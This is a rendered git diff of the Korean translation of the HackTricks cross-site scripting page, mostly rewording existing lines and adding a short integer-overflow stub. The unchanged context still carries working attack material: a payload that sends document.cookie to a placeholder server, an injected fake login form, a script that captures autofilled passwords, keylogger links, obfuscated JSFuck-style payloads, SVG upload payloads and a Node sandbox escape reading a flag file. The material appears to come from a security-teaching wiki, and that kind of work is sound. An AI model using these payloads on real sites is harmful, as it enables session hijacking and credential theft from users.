만약 **콜백**이 **실행할 JavaScript**을 나타낼 수 있다면, 해당 문자에 제한을 둘 수 있습니다. [**이 게시물의 이 섹션**](./#javascript-function)을 읽어 이 동작을 악용하는 방법을 찾아보세요.
|
||||
만약 **콜백**이 **실행할 JavaScript**을 나타낼 수 있다면, 해당 문자만으로 제한됩니다. [**이 게시물의 이 섹션**](./#javascript-function)을 읽어 이 동작을 악용하는 방법을 찾아보세요.
|
||||
|
||||
### 유효한 `<script>` 콘텐츠 유형으로 XSS
|
||||
### XSS에 대한 유효한 `<script>` 콘텐츠 유형
|
||||
|
||||
([**여기서**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) `application/octet-stream`과 같은 **콘텐츠 유형**으로 스크립트를 로드하려고 시도하면 Chrome은 다음 오류를 표시합니다:
|
||||
([**여기서**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) 참조) 만약 `application/octet-stream`과 같은 **콘텐츠 유형**으로 스크립트를 로드하려고 시도하면, Chrome은 다음 오류를 발생시킵니다:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
|
@ -863,7 +863,7 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
이 동작은 [**이 설명서**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 다시 매핑하여 악용하여 XSS를 유발하는 데 사용되었습니다.
|
||||
이 동작은 [**이 설명서**](https://github.com/zwade/yaca/tree/master/solution)에서 사용되었으며 라이브러리를 eval로 다시 매핑하여 악용하여 XSS를 유발할 수 있습니다.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 사전 렌더링으로 인해 발생하는 일부 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다:
|
||||
```html
|
||||
|
@ -881,7 +881,7 @@ import { partition } from "lodash";
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### 웹 콘텐츠 유형에 따른 XSS
|
||||
### XSS를 위한 웹 콘텐츠 유형
|
||||
|
||||
([**여기**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)에서) 다음 콘텐츠 유형은 모든 브라우저에서 XSS를 실행할 수 있습니다:
|
||||
|
||||
|
@ -912,7 +912,7 @@ import { partition } from "lodash";
|
|||
|
||||
예를 들어, [**이 writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 이를 사용하여 스크립트 내의 JSON 문자열을 **이스케이프**하고 임의의 코드를 실행했습니다.
|
||||
|
||||
### Chrome 캐시를 통한 XSS
|
||||
### Chrome 캐시를 이용한 XSS
|
||||
|
||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
|
@ -951,7 +951,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
만약 실행되기 전에 **모든 것이 정의되지 않았다면** (예: [**이 writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)에서와 같이) 임의의 믿을 수 없는 코드를 실행하여 유용한 객체를 "아무것도 없는 상태"에서 생성하여 임의의 믿을 수 없는 코드의 실행을 남용할 수 있습니다:
|
||||
만약 **모든 것이 정의되지 않았다면** (예: [**이 writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)에서와 같이) 신뢰할 수 없는 코드를 실행하기 전에 유용한 객체를 "아무것도 없는 상태"에서 생성하여 임의의 신뢰할 수 없는 코드를 실행하는 것이 가능합니다:
|
||||
|
||||
* import()를 사용
|
||||
```javascript
|
||||
|
@ -974,7 +974,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
이전 예제와 유사하게, **에러 핸들러를 사용하여** 모듈의 **래퍼**에 액세스하고 **`require`** 함수를 얻는 것이 가능합니다:
|
||||
이전 예제와 유사하게, **에러 핸들러를 사용**하여 모듈의 **래퍼(wrapper)**에 액세스하고 **`require`** 함수를 얻는 것이 가능합니다:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1013,16 +1013,16 @@ trigger()
|
|||
```
|
||||
### 난독화 및 고급 우회
|
||||
|
||||
- **한 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
- 더 정교한 JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||||
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||||
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||||
* **한 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
* 더 정교한 JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||||
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||||
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||||
```javascript
|
||||
//Katana
|
||||
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
|
||||
|
@ -1048,12 +1048,20 @@ trigger()
|
|||
```
|
||||
## XSS 일반적인 페이로드
|
||||
|
||||
### 여러 페이로드가 포함된 1개
|
||||
### 여러 페이로드가 1개에 있음
|
||||
|
||||
{% content-ref url="steal-info-js.md" %}
|
||||
[steal-info-js.md](steal-info-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Iframe 함정
|
||||
|
||||
사용자가 페이지를 떠나지 않고 iframe 내에서 탐색하도록 만들고, 그의 행동(폼에서 보낸 정보 포함)을 도용합니다:
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 쿠키 가져오기
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
|
@ -1158,7 +1166,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
};
|
||||
}
|
||||
```
|
||||
_짧은 시간은 응답하는 포트를 나타냅니다._ _더 긴 시간은 응답이 없음을 나타냅니다._
|
||||
_짧은 시간은 응답 포트를 나타냅니다._ _더 긴 시간은 응답이 없음을 나타냅니다._
|
||||
|
||||
Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc)에서 확인하고, Firefox에서는 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
|
||||
|
||||
|
@ -1166,7 +1174,7 @@ Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/vi
|
|||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### 자동으로 비밀번호를 캡처하기
|
||||
### 자동으로 입력된 비밀번호 캡처
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
@ -1179,7 +1187,7 @@ body:username.value+':'+this.value
|
|||
```
|
||||
### 키클로거
|
||||
|
||||
Github에서 검색하면 몇 가지 다른 항목을 찾을 수 있습니다:
|
||||
GitHub에서 검색하면 몇 가지 다른 것을 찾을 수 있습니다:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
|
@ -1215,7 +1223,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
[abusing-service-workers.md](abusing-service-workers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 쉐도우 DOM 접근
|
||||
### Shadow DOM 접근
|
||||
|
||||
{% content-ref url="shadow-dom.md" %}
|
||||
[shadow-dom.md](shadow-dom.md)
|
||||
|
@ -1269,7 +1277,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
```
|
||||
### 정규식 - 숨겨진 콘텐츠 접근
|
||||
|
||||
[**이 설명서**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서는 일부 값이 JS에서 사라져도 다른 객체의 JS 속성에서 그 값을 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, 정규식의 입력 값이 제거된 후에도 해당 값은 여전히 찾을 수 있습니다:
|
||||
[**이 설명서**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서는 일부 값이 JS에서 사라져도 다른 객체의 JS 속성에서 그 값을 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, 정규식의 입력이 제거된 후에도 해당 입력의 값을 찾을 수 있습니다.
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1304,8 +1312,8 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
쿠키 제한, XSS 필터 등을 우회하는 데 사용하세요!\
|
||||
이 기술에 대한 자세한 정보는 여기에서 확인하세요: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
쿠키 제한, XSS 필터 등을 우회하는 데 사용하십시오!\
|
||||
이 기술에 대한 자세한 정보는 여기에서 확인하십시오: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### 동적으로 생성된 PDF에서의 XSS
|
||||
|
||||
|
@ -1316,7 +1324,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
HTML 태그를 삽입할 수 없는 경우 **PDF 데이터를 삽입**해 볼 가치가 있습니다:
|
||||
HTML 태그를 삽입할 수 없는 경우 **PDF 데이터를 삽입**해 보는 것이 좋을 수 있습니다:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1326,13 +1334,13 @@ HTML 태그를 삽입할 수 없는 경우 **PDF 데이터를 삽입**해 볼
|
|||
|
||||
AMP는 모바일 기기에서 웹 페이지 성능을 가속화하기 위해 고안되었으며, 속도와 보안에 중점을 둔 기능을 보장하기 위해 JavaScript가 보완된 HTML 태그를 포함합니다. 다양한 기능을 위한 구성 요소 범위를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 액세스할 수 있습니다.
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호 작용할 수 있도록 합니다.
|
||||
[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호 작용할 수 있도록 합니다.
|
||||
|
||||
예: [**Gmail의 Amp4Email에서의 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
예: [**Gmail의 Amp4Email에서 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### 파일 업로드(XSS) (svg)
|
||||
|
||||
다음과 같은 파일을 이미지로 업로드하세요 ([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
다음과 같은 파일을 이미지로 업로드하십시오 ([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
@ -1388,7 +1396,7 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
**[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)**에서 **더 많은 SVG payloads를 찾을 수 있습니다.**
|
||||
[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **더 많은 SVG payloads를 찾아보세요.**
|
||||
|
||||
## 기타 JS 트릭 및 관련 정보
|
||||
|
||||
|
@ -1404,7 +1412,7 @@ id="foo"/>
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
|
@ -1412,14 +1420,14 @@ id="foo"/>
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**를 통해 **제로부터 히어로까지 AWS 해킹 배우기**</strong></summary>
|
||||
<summary><strong>제로부터 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
|
@ -0,0 +1,31 @@
|
|||
# 정수 오버플로우
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discord 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
확인:
|
||||
|
||||
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
|
||||
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discord 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue